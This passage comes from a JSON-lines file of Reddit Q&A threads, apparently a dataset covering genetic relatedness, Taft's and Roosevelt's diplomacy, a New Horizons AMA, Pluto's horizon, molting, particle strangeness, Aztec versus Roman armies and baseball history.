same population (i.e. European, Asian, Native American, one of any number of African populations), and assume a historic population size of 10,000 (which is fairly accurate for most ancient human populations prior to the population explosion of the last few thousand years), at any particular place in the genome, on average, you have to go back 20,000 generations (or 400,000 years) to find the ancestor with respect to which those two individuals are \"identical by descent\". The standard deviation of this estimate is itself 20,000 generations, however, so it's just incredibly variable. This is true *independently* for different loci across the genome, as the process of [genetic recombination](_URL_5_) (and [independent assortment](_URL_7_) among chromosomes) causes different loci to have independent histories in the population.\n\nThis means that the relatedness of any two individuals is highly variable across different parts of their genome. So we come to the very counter intuitive, but nonetheless true, conclusion that most individuals share a \"bloodline\" most recent common ancestor that lived not long ago at all, but don't actually share much genetic material via that particular relationship, and at the vast majority of genetic loci likely don't have a common ancestor until many hundreds of thousands of years ago.\n\nOk, phew. I hope that was at least somewhat understandable.\n\n*edit: another super simple way to talk about it that I should have put in last night is that on average any two human beings drawn from the population will differ at about 1 in a 1000 DNA bases. This is something that we can empirically observe, ~~but which doesn't necessarily tell us all that much about patterns of \"relatedness\" in the terms I've discussed above. So it's really just a measure of how genetically \"similar\" two people are, and not how \"related\".~~ Eh, I would say that was a misstatement. It actually is a statement about average relatedness, which is indeed what the OP was asking about. It's just that that figure leaves out all of the interesting information about how variable relatedness is across different parts of the genome, which I guess is why I saw fit to launch into this ridiculously long explanation.*", "Could this question also be put into the context of how many shared genes do the average two people have?  If your statement of \"If you have a sibling, on average you will share 50% of your genetic makeup. If you have a first cousin, on average you share 12.5% of your genetic makeup.\"  were entirely true wouldn't everyone look drastically different and have to have major changes in biochemical functions?\n\nYou could also approach this from the human metagenome relatedness comparison, but it would be difficult because this hasn't been used broadly yet.", "Here is a nice handy number.\n\n >    In fact, eleventh cousins is a pretty low degree of relatedness, by the standard of these things. A study of inbreeding in European populations found that couples from the UK are, on average, as genetically related as 6th cousins\n\n_URL_0_\n\nThe paper he cites from is linked within the text above, and contains other ethnicities as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Diffusion_equation", "http://en.wikipedia.org/wiki/Alleles", "http://en.wikipedia.org/wiki/Heat_equation", "http://web.eve.ucdavis.edu/pbg298/pdfs/Hudson_OxfordSurveysEvolBiol_1991.pdf", "http://en.wikipedia.org/wiki/Coalescent_theory", "http://en.wikipedia.org/wiki/Recombination_(biology\\)", "http://en.wikipedia.org/wiki/Bushmen", "http://en.wikipedia.org/wiki/Independent_assortment#Law_of_Independent_Assortment_.28The_.22Second_Law.22.29"], [], ["http://www.genomesunzipped.org/2011/04/inbreeding-genetic-disease-and-the-royal-wedding.php"], ["http://en.wikipedia.org/wiki/Diffusion_equation", "http://en.wikipedia.org/wiki/Alleles", "http://en.wikipedia.org/wiki/Heat_equation", "http://web.eve.ucdavis.edu/pbg298/pdfs/Hudson_OxfordSurveysEvolBiol_1991.pdf", "http://en.wikipedia.org/wiki/Coalescent_theory", "http://en.wikipedia.org/wiki/Recombination_(biology\\)", "http://en.wikipedia.org/wiki/Bushmen", "http://en.wikipedia.org/wiki/Independent_assortment#Law_of_Independent_Assortment_.28The_.22Second_Law.22.29"], [], ["http://www.genomesunzipped.org/2011/04/inbreeding-genetic-disease-and-the-royal-wedding.php"]]}
{"q_id": "14xgk3", "title": "taft's dollar diplomacy vs roosevelt's big stick diplomacy.", "selftext": "Basically for a project we need to Illustrate a metaphor involving something related to American History... being an Illustration major, I'm not incredibly well versed in American History, though I have always been interested in Taft's and Teddy Roosevelt's Presidencies, and thusly am both looking for metaphors to help with this, and a knowledge of the above topic in general.\nThank you in advance to anyone who responds. I'll link my finished art to anyone who's interested afterwards.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14xgk3/tafts_dollar_diplomacy_vs_roosevelts_big_stick/", "answers": {"a_id": ["c7hr13u"], "score": [2], "text": ["To put it simply, they're just what they sound like.  \"dollar diplomacy\" involved giving large loans to others to gain favor, and \"big stick diplomacy\" involved trying to negotiate peacefully, though also making vague military threats"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cebbbz", "title": "AskScience AMA Series: We're the New Horizons team that flew past Pluto and are studying some of the oldest, farthest objects in the Solar System. Ask us anything!", "selftext": "Four years after NASA's New Horizons flew by Pluto, and seven months after our flyby of 2104 MU69 in the Kuiper Belt, we have discovered more than ever before about the origins of the Solar System, but there is still so much more to explore! The team is meeting at the Johns Hopkins Applied Physics Lab, the home of the New Horizons mission operations center, to share the latest science info we've learned in our epic voyage through our cosmic neighborhood. We will also cover the historic New Year's flyby of 2104 MU69, the farthest object ever explored by spacecraft! \n\nTeam members answering your questions include:\n\n+ Helene Winters, New Horizons project manager - JHUAPL\n+ Chris Hersman, New Horizons mission systems engineer - JHUAPL\n+ John Spencer, New Horizons deputy project scientist - SwRI\n+ Kirby Runyon, New Horizons science team member - JHUAPL\n\nWe'll sign on at 5pm EDT. Ask us anything!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cebbbz/askscience_ama_series_were_the_new_horizons_team/", "answers": {"a_id": ["eu16htb", "eu18aw2", "eu18ov1", "eu18tf8", "eu190l6", "eu1982g", "eu1986c", "eu19tc3", "eu19zs3", "eu1a18l", "eu1ash7", "eu1b1jw", "eu1b7r2", "eu1b9b7", "eu1bcy2", "eu1bmbj", "eu1bsev", "eu1by8o", "eu1byjw", "eu1c01q", "eu1c5hj", "eu1cgiq", "eu1co33", "eu1cz19", "eu1d76e", "eu1d8x2", "eu1d9yd", "eu1dcj6", "eu1dgzy", "eu1dmzq", "eu1e2eo", "eu1e7bf", "eu1eb4f", "eu1el92", "eu1ep8x", "eu1epf8", "eu1erpq", "eu1eumm", "eu1f3u8", "eu1f96o", "eu1ffnt", "eu1g331", "eu1g3j5", "eu1g80v", "eu1h1wo", "eu1i32n", "eu1iavr", "eu1iku4", "eu1io74", "eu1k5j4", "eu1kd6a", "eu1kqxy", "eu1lfmw", "eu1mtb0", "eu1mubs", "eu1nwqn", "eu1om9h", "eu1p2ai", "eu1pat1", "eu1pylt", "eu1q6e8", "eu1qib4", "eu1vean", "eu1xgiw", "eu1zpy0", "eu1ztl1", "eu2fp51", "eu2g999", "eu2gf90", "eu2hrlp", "eu2k11n", "eu2kedq", "eu2ko14", "eu2kp1q", "eu2payj", "eu2w2bw", "eu2wn6m", "eu2wttr", "eu2wxef", "eu2x8ew"], "score": [12, 26, 278, 83, 51, 62, 3, 63, 225, 2, 15, 26, 109, 31, 3, 3, 12, 9, 10, 7, 42, 33, 3, 13, 2, 2, 2, 25, 19, 2, 6, 3, 17, 4, 2, 19, 2, 2, 2, 11, 24, 2, 3, 74, 2, 2, 21, 2, 2, 7, 2, 7, 2, 11, 2, 3, 3, 2, 8, 2, 6, 2, 2, 2, 4, 3, 2, 4, 2, 2, 3, 3, 2, 3, 3, 2, 3, 14, 3, 2], "text": ["Do you guys ever read old science fiction, and if so, what do you think of the speculative facts authors created about Pluto and other distant planetary bodies at the time?", "What aspect of your work excites you the most?", "Based on how much we have learned about Pluto: Is there something you regret about the design of New Horizon now? Which additional instrument would have been the most useful addition?", "What was the most unexpected event or discovery that came out of the New Horizons mission?", "How long is the spacecraft anticipated to be operational?", "Can you explain it like I'm 5: what's actually out there, pass Pluto?", "How long will New Horizons  work until it  runs out of energie??", "When do we get to see high resolution photos of Ultima Thule? I can't wait!", "What's the plan after Ultima Thule? Is there enough power/fuel left for a flyby of another Kuiper Belt Object?", "I wish one day youd be telling us you flew past pluto in person.", "What was it like getting those first images back?", "Would you ever consider an orbiter of a Kuiper object? can it  provide a real advantage? or would you use the same budget for more fly-by missions?", "If it outlives its expected life span, will New Horizons follow Voyager 1 and 2 into interstellar space? How can it help us learn more about interstellar space?", "Did you ever place your hand on the spacecraft while contemplating that it would travel to the edge of our solar system?", "What would you say were some of your personal favourite breakthroughs, and why?", "How long did it take NH to get to pluto?  How long would it take it to get to our closest neighbouring solar system? (alpha centauri i think)", "How has this mission changed our understanding of the origins of our solar system?", "Was there any technology you forgot to install on the probe, that you remembered JUST as it launched?  \n\n\nOr was there any technology that was available not long after that you really wish you could've included?", "Is New Horizons going to be near any other Kuiper Belt Objects?\n\nHow long is the expected mission life for New Horizons?\n\nDid you turn the stove off before you left the house this morning?", "What do you think the future holds for software development as it relates to flights like this? There's been an awful lot of conjecture in this field it would be great to set straight.", "No question but thank you for helping to make science fiction into science FACT!", "What sort of technological advancements would be required to make a Curiosity-style lander mission to Pluto?\n\n\nWhat methods were used to detect Ultima Thule, and how many future candidate objects (if any) are there for this probe to study?", "How long New Horizons will be active?", "Hypothetically if you did find some existence of life, what happens next? Is there specific procedures you have to follow, and is there anything preventing you from disclosing that to the public?", "What were some highlights of the journey? Thank you in advance.", "What's the most surprising object, thing or occurrence you've stumbled across so far?  Is there anything that's stands out as truly unexplainable?", "Do we know where we are in the universe relative to it's entirety? How or why not?", "What is the most breathtaking feature of pluto you discovered as a result of your work?", "Voyager I carries \"The Golden Record\" in case of contact with alien civilizations, does New Horizons have anything like this?", "If i could magically deliver some scientific data about pluto you don't have right now, what would you want to know?", "If you were in charge of NASA, what would you do?", "Thanks for this AMA! What interesting information did New Horizons find about Pluto and Ultima Thule? Also what is the next target for New Horizons if there is any?", "How to you successfully guide the craft to the destination over such insane distances? Even with beautiful math, surely you don't just aim the rocket perfectly. But then how can you steer with more than pinpoint precision something leaving earth's orbit?\n\nMaybe it scans for stars and aims towards a suitable one? No idea and it confuses and fascinates me.", "Have you seen any traces of the Mi-Go on Pluto? I know they can't be filmed, but hopefully their buildings can... or was Lovecraft wrong, and Yuggoth is actually another, yet undiscovered planet?", "Hello team and thank you for doing this AMA!\n\nMy question for you is: In your opinion, what was the greatest challenge you had to face during this journey and how did you manage to overcome it?", "I really love the work that you guys do and i hope to see more like it, possibly even an orbiter to Uranus or Neptune.\n\nOne question - Do you regularly take photos with the camera on New Horizons and if you do, what are you aiming it at?", "Those of us who come from Clyde's hometown in Illinois are honored and grateful for the work you've done on this project.  While we were sorely disappointed with Pluto's downgrade from planet to planetoid, I can without a doubt say we are pleased and excited with the work you've done.\n\nHow did it feel when the first high-resolution pictures of Pluto were finally rendered from New Horizon?  Did you have any expectations that were totally upended once you saw them?", "What exactly makes up the majority of the ice on Pluto? For example, is it CO2 or nitrogen or a different frozen element that's usually gas on Earth?", "What was the most tense moment of the whole mission so far? Were there times when you thought \u201cwell, this is it, boys and girls\u201d?", "What questions were you hoping to answer with the new horizons mission and did you answer those questions?", "What\u2019s the current scientific standpoint on the likelihood of a \u201cPlanet X\u201d?", "Hello, thank you for all the hard work you\u2019ve done. A lot of people (me included) are inspired by people like you, and one day I hope to become an astronaut to continue your work :)\n\nDo you think mass drivers such as StarTram are ultimately the future for launching spacecraft? Also, where do you see human colonisation of space by the end of the century?", "If you were to be reassigned to a new project (actual, hypothetical, or fictional, anything goes) at NASA for some reason (let's make it easy, New Horizons hits something and is rendered defunct), what would you like that project to be, and why?\n\n\\[Edit: Oh, and by the way, a big thank you for New Horizons! An amazing project which I've followed closely (well, as closely as is possible from the outside) since launch!\\]", "1. How often do you receive messages from New Horizon? \n2. How much data (in MB) do you receive in one go?\n3. What is the onboard computer running on? (Linux or something completely new from the ground up?)\n4. Is the entire path pre-programmed or do you make micro-adjustments to its path?\n\n & #x200B;\n\nThanks a lot for your contribution to science!", "What do you hope to find next, if you plan on visiting another object in the Kuiper belt?", "Based on what we know, from direct empirical evidence, that is more important than humanity landing on a comet: **When you make announcements, what kind of shirt does the spokesman wear?**", "**Is there any way for the New Horizons spacecraft to examine the very outskirts of our solar system for planet x** (the suspected 9th planet in our solar system)**?**\n\n\n**What has close-range imaging revealed about cryovolcanoes on Pluto's surface and their impact on Pluto's atmosphere?**\n\n*Thank you so much for your huge contribution to science and to the bulk of human knowledge, from Pluto to Charon, Ultima Thule and knowledge about the formation of our solar system; your work is absolutely invaluable. Understanding the universe is understanding ourselves. We are wanderers in the cosmic ocean and you are piloting our ships. Thank you!*", "How is data sent back and forth from the spacecraft? \nWhat were some interesting discoveries you made via New Horizons?", "The pictures are incredible of course, but to me the most amazing part is that NH flew within 8000 miles of Pluto after flying over 4B miles.   How much course correction was necessary to achieve that level of trajectory accuracy.    Were the corrections done at each annual wakeup or mostly at the end?", "Is Dr Brian May really as cool as he seems to be?", "Anything that you've found that totally borked your preconception?", "I live in Minnesota, and when I was in 4th grade (2004 - 2005) I remember my teacher telling me her son was on the team that was setting up a mission to fly past pluto, and that they had recently discovered that pluto had not just one, but at least three moons. I had a great time convincing myself that textbooks were all lying to me since they all said Pluto had only one moon. She said and they may get more images when they finally make it to pluto 8-9 years later. \n\nDid any of you play a part in discovering these, or any of Pluto's other moons? Do you think my teacher may be somebody's mother, or was there another team that tried to make it to pluto, but failed?", "Hi! We recently had your MOM (Alice Bowman, SUPER awesome woman!) speak at my university. She showed us the New Horizons song by Brian May. Be honest, how much is it played around the lab or in promotional things?", "What kind of navigation/orbit determination do you guys do for a craft so far out there?  Are you propagating your orbit or performing new calculations, and how?  \n\nWhat kind of maneuvers are required for nominal operations?  Momentum unloads/trim burns?\n\nAnd do you have any room for a plucky geostationary satellite engineer looking to make it big in the interplanetary orbit arena?? ;)", "Any good story about the project??", "For each person: What is one thing you've discovered/seen/etc from the data you've received back from New Horizons that you really weren't expecting.", "First of all, the New Horizons project was one of my favourite moments this decade!\n\nWhat is the furthest object it'll show us before losing contact?", "How long has been your tenure? What do you do between launch and an encounter?", "Thank you for showing us that Pluto had a heart!\n\nIn current or planned missions similar to New Horizons, what is generally the role of computer science? \n\nHas the use of it changed drastically since New Horizons was launched?\n\nWhat fields of computer science are most used in your work and similar missions? \n\nI\u2019m a computer science student at the moment but I find space science really interesting and I\u2019d love to find a way to work in it eventually. Thanks for all your work \ud83d\ude0a", "How good an understanding do we have of what's out there?  How certain can you be about where the probe is in relation to other objects at this point?  How big does something have to be for us to already know about it and ask New Horizons to take a peek?", "What, in your opinion, is the most important discovery that New Horizons has made? And what is the most surprising?", "Are there any levels of New Horizons mission you can call as failure?", "Will New Horizons be able to gather possible data about the theorized Planet Nine?", "Wouldn't all objects in the solar system be the same age, astronomically speaking? Or is all material exclusive of Sol captured material? How is it dated?", "Instead of a KBO flyby, is there anything that can be learned by crashing New Horizons into an object and then watching it with all the strongest telescope spectrometers?", "Is there anything about the pluto that has been misunderstood by the general public ?", "The Pluto and Ultima Thule press conferences have sincerely been highlights of my life - you guys rock (and ice) \ud83d\udc99\n\nWhat do you think is the lower planetary mass limit on the cryo-geological processes you photographed on Pluto? And are you still going to propose a formal name from mythology for Ultima Thule?", "I am curious about the title: is there a correlation between \"oldest\" and \"farthest\", talking about Solar System objects of course? I was under the impression that all objects in the SS were formed (roughly) at the same time, and those that do not experience tectonic activity are pretty much in the same state now as they were 4.5b years ago. Is this wrong?\n\ntl;dr: How does exploring KBOs help us understand the creation of the SS in ways that exploring the planets or asteroids can not?\n\n & nbsp;\n\n^(I probably won't be around when you answer due to work, so thanks in advance!)", "Since Voyager 1 was supposed to only be a 4 to 5-year mission and is still sending data back even to this day, how has that affected the projected mission scope of New Horizons? Clearly, these amazing machines have a lot of potential well beyond the original scopes of there missions and I am interested to hear the New Horizons team decides what to do next :)", "Where is the best place to view your data? I love exploring large datasets in python, but haven\u2019t been to successful with New Horizons except for FITS files which I\u2019m currently learning about.", "Is the geology on Pluto relatable to what we\u2019ve seen on other bodies at all (we\u2019ve seen ice plumes elsewhere if I recall?), or did you  determine anything completely new about planetary geology (molten slushy ice fields?)", "Do NASA missions work in isolation from each other, or do different teams \u2018get together\u2019 and share ideas, techniques and have rivalries with each other at all?\n\nIf so - what other missions were going on at the time, and what did you learn from each other?", "How does studying the Kuiper belt reveal more about the origin of our solar system?", "Are there any \u2018Easter eggs\u2019 in the design or code of New Horizons? (Like names of all the team, pictures of loved ones, a golden dis\u2014\u2014usb stick?). Or is that a totally ridiculous idea?", "You flew past Pluto? How tired are your arms?", "Was it considered to have microprobes which could be jettisoned before an encounter on a slightly different trajectory to for example see the other side of Pluto or Ultima Thule and have enough battery power to transmit recorded data after its encounter?\n\nWhat about having a vibration sensor / microphone to record the sound of micrometeor/dust impacts and also when running motors with valves opening and closing or anything mechanical record audio/vibration trace to be later downloaded to monitor condition / diagnose hardware issues?", "These scientists\u2019 names are like something out of a sci-fi writer\u2019s head.\n\nJust saying, cool names.", "I'm a middle school teacher.  What would you want 13-year-olds to know about engineering?  Most are terrified of math and struggle in reading (but I can see amazing futures when i look at them - I just need them to believe it.). What were you like in 7th grade?  What adventures in space await them 10 years from now??", "you\u2019re aware that the object will eventually leave the solar system, did you ever discuss adding a voyager/pioneer style message to the craft?", "Are we going to get any new batch of images of Ultima Thule from New Horizons?  There were the ones released right after the encounter, but I haven't seen any additional ones since I guess around Feb/March?  I was hoping for more.   \n\n\nThanks all for your excellent work!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3crbh5", "title": "Is Pluto small enough that you could obviously see the curvature of the horizon while standing on the surface?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3crbh5/is_pluto_small_enough_that_you_could_obviously/", "answers": {"a_id": ["csyjssf"], "score": [8], "text": ["You would not be able to see the curvature of Pluto if you were standing on the surface. Even though Pluto is only 1/6th the size of Earth, and even smaller than Earth's own moon it would still be large enough that standing on the surface would prevent any view showing the curvature on the horizon. To actually be able to see the curvature of the surface on any planet or object based on the position relative to the ground you have to use a specific formula. The formula actually used to calculate whether or not the horizon actually does start to curve is based on atmospheric conditions as well as size of the object. The formula suggests that the curvature you would see standing 1.7 m above the surface of the Moon is equal to the curvature you would see 6 meters above the surface of the Earth. The altitude required to see curvature of the Earth's horizon equal to what you would see on the surface of Pluto is 9 m.  Being a mere 9 m above the surface of the Earth is insufficient to appreciate the curvature of the horizon, so you wouldn't see it on Pluto.  \n\nIt's popularly said that the curvature of the horizon could be seen from a Concorde, which cruises between 14 and 18 km above the Earth.  Using 14 km as a lower limit, how small does a sphere have to be for the curvature of its horizon viewed from 1.7 meters above the surface to equal that of Earth at 14 km?  Its radius must be less than 800 meters! A naturally occurring object that small would be too small to be spherical under its own gravity, and any curvature you might detect while standing on it would more likely be due to its wild topography. The link I am providing goes into even greater detail on the formula used to decipher whether or not the horizon starts to curve at any given point from the viewers perspective.  < _URL_0_; I hope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.quora.com/If-I-were-standing-on-Pluto-would-I-be-able-to-easily-notice-its-curvature&gt"]]}
{"q_id": "dn873w", "title": "how does the molting mechanism work in the winter coats of animals? like what triggers molting? does it happen in a lab setting or if the climate isn\u2019t correct?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dn873w/eli5_how_does_the_molting_mechanism_work_in_the/", "answers": {"a_id": ["f58uv7c", "f58zxz8"], "score": [9, 16], "text": ["I used to have a Siberian Husky and an Alaskan Malamute. Both breeds moult. Twice a year. In one piece.\n\nSo basically, each hair grows for about 6 months. The the hair falls out. The growth is staggered, though, so the dog is never bald. They do change colors, though.\n\nTo answer the question about lab setting and climate, we live in southern California. They still moulted twice each year. In one piece.\n\nI keep mentioning 'in one piece'. I should clear that up. Over a two or three week period in late spring and late fall, their over coat of fur would simply fall out in clumps. We'd use a brush, but the brush would clog after two strokes.\n\nThey used to run up and down the length of the chain link fence in the back yard rubbing the moulted fur off. It was kind of funny, but kind of a pain because we'd have to clean up big clumps of fur.\n\nThese were strictly outdoor dogs because of this.\n\nDo a Google image search for \"malamute shedding\" to see what I'm talking about. Most of the images show a pile of shedd fur. Many would think this was after grooming the dog with clippers. For dogs which moult, this is incorrect. The hair comes off all at once, together.", "I think it has something to do with the day and night cycle and when the days get shorter or longer. Basically every animal produces a specific hormone when exposed to sunlight. If there is a lot of sunlight there is a lot of hormones. When the days get shorter they produces less of the hormone and if the hormone lvl falls below a certain treshold the animal switches \"modes\" until it gets more sunlight where it produces then more of the hormone again"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5hwl1c", "title": "What is \"strangeness\"? And how does it affect subatomic particles?", "selftext": "I'm learning about leptons, baryons and mesons and some of them have a value called \"strangeness\", my teacher doesn't know what it is a measurement for and everyone gives me weird looks when I ask what strangeness is.\nMy point is, some particles are charged, with that charge, they repel other particles with the same charge and attract particles with opposing charges, that's how charge affects particles. But how does strangeness affect particles? At the moment, it's just a meaningless, faceless value to me. :/", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5hwl1c/what_is_strangeness_and_how_does_it_affect/", "answers": {"a_id": ["db3jjoy", "db3ki6p", "db3t5q1"], "score": [16, 4, 12], "text": ["Strangeness is just the number of (anti) strange quarks in a particle. Protons and neutrons have zero strangeness, whereas more exotic particles like K-mesons have 1 or -1. It was a useful quantity to define when considering its conservation during particle decays, because it is conserved during strong nuclear interactions but not during weak interactions, and this was figured out before we fully understood what quarks were.", "Strangeness is somewhat archaic. It basically tell you how many strange quarks are in the particle you have. The only property that comes out of having non-zero strangeness is that strange quarks tend to decay into lighter quarks or leptons via the weak force. You can equally talk about charm as a property of composite particles, but again it doesn't necessarily help you.", "I'll copy my answer to a [similar question](_URL_0_)\n\nThe word \"strangeness\" was invented before the quark model have been developed. People started finding strange particles in particle physics experiments that they had never seen before. These particles seemed to hang around much longer than expected based on their other properties, before decaying into \"normal\" particles. Since these new particles were always created in pairs, people came up with the idea of a conserved quantity called \"strangeness\": the strange particles would always be created in pairs of +1 and -1 strangeness (since you would have started with zero strangeness) and then they would live for a long time because they can't decay into non-strange particles due to the conservation of strangeness. Of course, they eventually do decay, which suggests that the types of interactions that create them are different from the types of interactions that cause them to decay, and only the former obeys the conservation of strangeness law.\n\nNowadays, we know that particles with strangeness all have a particular type of quark in them, which we call \"strange\" to match. Particles with -1 strangeness have a strange quark while particles with +1 strangeness have its antiparticle. Furthermore, we know that the interaction that produces the strange particles is the strong interaction, which does not change the type of quarks, although it can create new ones in particle-antiparticle pairs. The interaction that causes them to decay is the weak interaction, which is the only interaction in the Standard Model that can change quark types. Since the weak interaction is a lot weaker than the strong interaction, the strange particles are able to live for a long time before decaying.\n\n~~We could define a special quantum number for all of the quark types, and we would find that strong interactions always preserve that quantum number while weak interactions do not. However, now that we understand the mechanism underlying the pattern, it's never seemed particularly useful to do so.~~ Actually, we kind of do, as was pointed out.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/askscience/comments/31al1u/whats_so_strange_about_the_strange_quark/cpzz5kk/?context=3"]]}
{"q_id": "1a39tx", "title": "Was the Aztec army in any way comparable to the Roman army?", "selftext": "I am having a debate with someone who insists that an Aztec army could have taken on an equally sized Roman army in the jungles of mesoamerica, and goes on about the virtues of the macuahuitl sword to support this.  I really doubt this, but I thought I'd ask you guys.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1a39tx/was_the_aztec_army_in_any_way_comparable_to_the/", "answers": {"a_id": ["c8tqusj", "c8tqwpm", "c8tsgyr", "c8tu1gw", "c8tungl", "c8tz4ch", "c8tzgji"], "score": [13, 97, 5, 2, 29, 7, 3], "text": ["I'm also not an Aztec or a Roman historian, but I can tell you that they didn't use organizational tactics the same way the Roman armies, pre and post Marian reforms, did. The whole organizing into legions, cohorts, etc was (I'm pretty sure) more or less unheard of in South American native conflict.\n\nFrom everything I've read leaders would send word to chiefs in their domain who would, in turn, levy basic troops from their peasantry. They would assemble and be led by Priests and secular leaders in battle. I'm not really sure how their tactics worked in pitched, big, army-vs-army conflicts like the Roman legions engaged in, because that wasn't particularly common. I was taught that most native conflicts were limited and had clear goals, and there were traditional methods of establishing time and place. So my understanding is that mixed-unit macro military tactics simply weren't part of their fighting techniques.\n\nIn reference to the \"who would win\" question, it seems kinda impossible to answer, since both groups fought in such different contexts with such different weapons. That being said, though, I'd lay money on the Romans, since the discipline of the legions was legendary and they had sophisticated equipment unavailable to the Aztecs army. That isn't to diminish the awesomeness of Aztec warriors - I think the Aztecs, Mayans, Teotihuacans, and Incans all had some variation on the \"jaguar warrior\" theme, who were absolutely terrifying warriors. In much the same way, though, the Germanic tribes of Europe had intimidating berserkers and stuff but rarely managed to overwhelm the organized, tactical disposition of the Romans.\n\nSorry I don't have any sources here, I'm in class and this is mostly speculative and general knowledge, anyway.", "The Romans would win the day and there are good reasons for this.  \n\n* First, Roman military training was superior to even most medieval armies (there have been many posts about this).  \n* Second, Romans adapted well to new environments - I bet your friend is leaning heavily on the jungle factor to aid the Aztecs (he may be confused with Mayan Armies).  When Rome fought the Samnites they adapted to the rugged hills.  When Rome fought the Parthians they adapted to the deserts.  When Rome fought the Germans they adapted to the thick forrest.  There are countless examples.\n* Third, your friend is correct that the Aztecs could have taken on a Roman army.  They would have lost and been sold as Roman slaves, but they could still try.  Plenty of people did. \n", "The Aztecs couldn't handle a rebel army backed up by less than 500 conquistadores - why would you think they could manage equal numbers against legions?\n\nSure, the climate would be an issue, but if the Spanish managed it - the Romans certainly could - legions fought everywhere, spain, north africa, germany, the middle east, northern england.\n\nRegards gear, the macuahuitl was a chopping weapon, made of brittle stone.  It would have been almost ineffective - except as a club - against metal armor.  Furthermore, roman infantry tactics were specifically designed to deal with Aztec-style enemies.  Less-organized large groups with chopping weapons were slaughtered by Roman armies, even when the Romans were outnumbered many times over.  Celtic tribes, Dacians, Germanic tribes, Spanish tribes - all with iron weapons and superior numbers - all massacred en-mass.\n\nSo, no - the Aztecs would have been hammered.", "I have a question, what about the Inca? Could they be a formidable opponent for the Romans? From what I remember learning about them is they had quite a fierce army and had a hold over a very large part of South America. ", "3 Factors:\n\n1: Organizational ability.  The Roman legions are pretty much the pinnacle of ancient armies as far as organizing.  Very few civilizations of that time (and since, for that matter), have been able to organize for warfare as effectively.\n\n2: Weaponry.  Iron weapons and armor versus wooden swords with obsidian.   Aztecs didn't have iron or bronze.  They had obsidian, copper, and stone.  Romans were able to crush enemies that had equivalent equipment... going up against neolithic weapons wasn't going to cut it.\n\n3: The engineering skill of the legions.  In Caesar's commentaries, the Menapii attempted to wage what we would call a guerrilla war, retreating into swampy and rough terrain.  The legions marched, built roads and causeways, and as soon as the Menapii realized they weren't safe in their rough terrain, they surrendered.\n\n\nBasically, in any battle or campaign of roughly even numbers, the Aztecs would be butchered.  I'm not going to speculate as to the numerical advantage the Aztecs would have to enjoy to even the odds.", "This question is patently against the rules. \n\n > Questions should be about what did happen, not what could have happened. Questions of that type should be posted in r/HistoricalWhatIf\n\nFurthermore, while the answer is obviously *no*, as the lack of cavalry, siege weapons, and armor puts them at a clear disadvantage, a ton of people here are making some huge assumptions regarding the Aztecs. To clear things up:\n\n* The Aztec army was well organized into 8,000-man battalions with a clear chain of command, and the training was exceptionally good for the weapons they were given. Mandatory training was administered to all commoners from adolescence onward. A meritocratic system of promotion also ensured that experienced soldiers were promoted.\n\n* Mesoamerica is not all jungle. While it lies in the tropics, the Central Mexican Highlands which formed the geo-political core of the Aztec Empire is relatively temperate. Mountains, rolling hills, lakes, and pine/oak forests are more typical. Although in Aztec times, the majority of this would have been farmland (which is a terrain the Romans would have been accustomed to.)", " > and goes on about the virtues of the macuahuitl sword to support this.\n\nSeems like a terrible argument.\n\nThe macuahuitl is just a wooden bat with obsidian blades. The only opponents that obsidian (which is volcanic glass) would be useful against are ones that do not have any metal. A Roman gladius would shatter obsidian without any problems. In fact, even if they hit a Roman soldier's armor, the obsidian blades would just shatter. Obsidian might make some of the sharpest blades in the world, but it's extremely brittle for a weapon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "5aum10", "title": "How have professional sports (especially baseball) changed in the last 100 years?", "selftext": "The announcers keep referencing stats going back to the 1920s. It's hard to imagine that anything was similar enough for a team's record in the 20s to be relevant to how the game is played today.\n\nDoes it break rules to ask a general question about major changes in professional sports and have kind of a sports open session post\u2013game 7? There didn't seem to be a sports section in the FAQ. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5aum10/how_have_professional_sports_especially_baseball/", "answers": {"a_id": ["d9jhvre"], "score": [2], "text": ["Increased number of teams\n\nBroader geographical distribution of teams\n\nRefinement of rules\n\nTechnological improvements to equipment\n\nIncreased size/speed/strength/skill of players\n\nIncreased salaries allowing players to devote full time to the game\n\nBroader media coverage (radio, television)\n\n\n_________________________\n\n\nIn baseball specifically, while the fundamental rules have not changed much, the composition of the ball has evolved over time from a more loosely wrapped, less dense ball in the late 19th century through the 1920s, and a more tightly wrapped, more dense ball thereafter.  The game was originally played by the fielders without gloves.  Later the fielders of both teams shared gloves and just left them at their position.  There are now highly specialized gloves for each position (catcher, first base, third base, middle infield, outfield).\n\nThe advancement of radar technology has arguably put more emphasis on velocity from pitchers.  Curveballs used to be illegal because they deceived the hitter.  Originally there was really no ball-strike count.  The umpire would \"warn\" the pitcher he was throwing bad pitches or the hitter that he was taking good pitches.  The goal was to throw a pitch the batter could hit.  Later, emphasis was put on breaking pitches.  Today breaking pitches can be quantified by various radar measures (spin rate, movement, etc).\n\nIn the early 19th century speed and contact hitting were emphasized, with bunts and stolen bases being important aspects.  Later in the 1920s, home runs became much more common.  By the 1960s pitchers had begun to dominate hitters and the height of the pitcher's mound was lowered from 12 inches to 10 inches, resulting in a return to prominence for 